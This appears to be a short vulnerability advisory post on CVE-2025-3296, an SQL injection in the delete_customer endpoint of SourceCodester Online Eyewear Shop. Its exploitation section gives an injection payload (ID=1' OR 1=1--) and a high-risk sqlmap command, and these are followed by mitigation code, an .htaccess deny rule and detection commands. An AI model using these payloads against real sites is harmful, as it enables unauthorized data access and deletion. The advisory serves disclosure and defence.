SourceCodester Online Eyewear Shop 10, SQL Injection, CVE-2025-3296 (Critical)

How the CVE Works

The vulnerability exists in the `delete_customer` function within /classes/Users.php, where user-supplied input (ID parameter) is improperly sanitized before being used in an SQL query. Attackers can manipulate this parameter to inject malicious SQL commands, potentially leading to unauthorized database access, data leakage, or deletion. The flaw arises due to insufficient input validation, allowing direct concatenation of the `ID` into the SQL statement. Remote exploitation is possible without authentication, making it critical.

DailyCVE Form

Platform: SourceCodester Online Eyewear Shop
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/08/2025

What Undercode Say:

Exploitation:

  1. Craft a malicious HTTP request to `/classes/Users.php?f=delete_customer` with a tampered `ID` parameter:
    GET /classes/Users.php?f=delete_customer&ID=1' OR 1=1-- HTTP/1.1
    

2. Use automated tools like `sqlmap` for exploitation:

sqlmap -u "http://target.com/classes/Users.php?f=delete_customer&ID=1" --risk=3 --level=5

Mitigation:

1. Apply input validation and parameterized queries:

$stmt = $conn->prepare("DELETE FROM customers WHERE id = ?");
$stmt->bind_param("i", $_GET['ID']);

2. Patch the software or restrict access to vulnerable endpoints via .htaccess:

<Files "Users.php">
Order Deny,Allow
Deny from all
</Files>

Detection:

1. Scan for vulnerable instances using `curl`:

curl -s "http://target.com/classes/Users.php?f=delete_customer&ID=1'" | grep "SQL syntax"

2. Monitor logs for unusual SQL errors:

tail -f /var/log/apache2/error.log | grep -i "sql"

Analytics:

  • Attack Vector: Remote, low complexity.
  • Impact: Confidentiality/Integrity compromise.
  • Patch Status: Unavailable at disclosure.
  • Exploit Availability: Public.

References:

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-3296
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top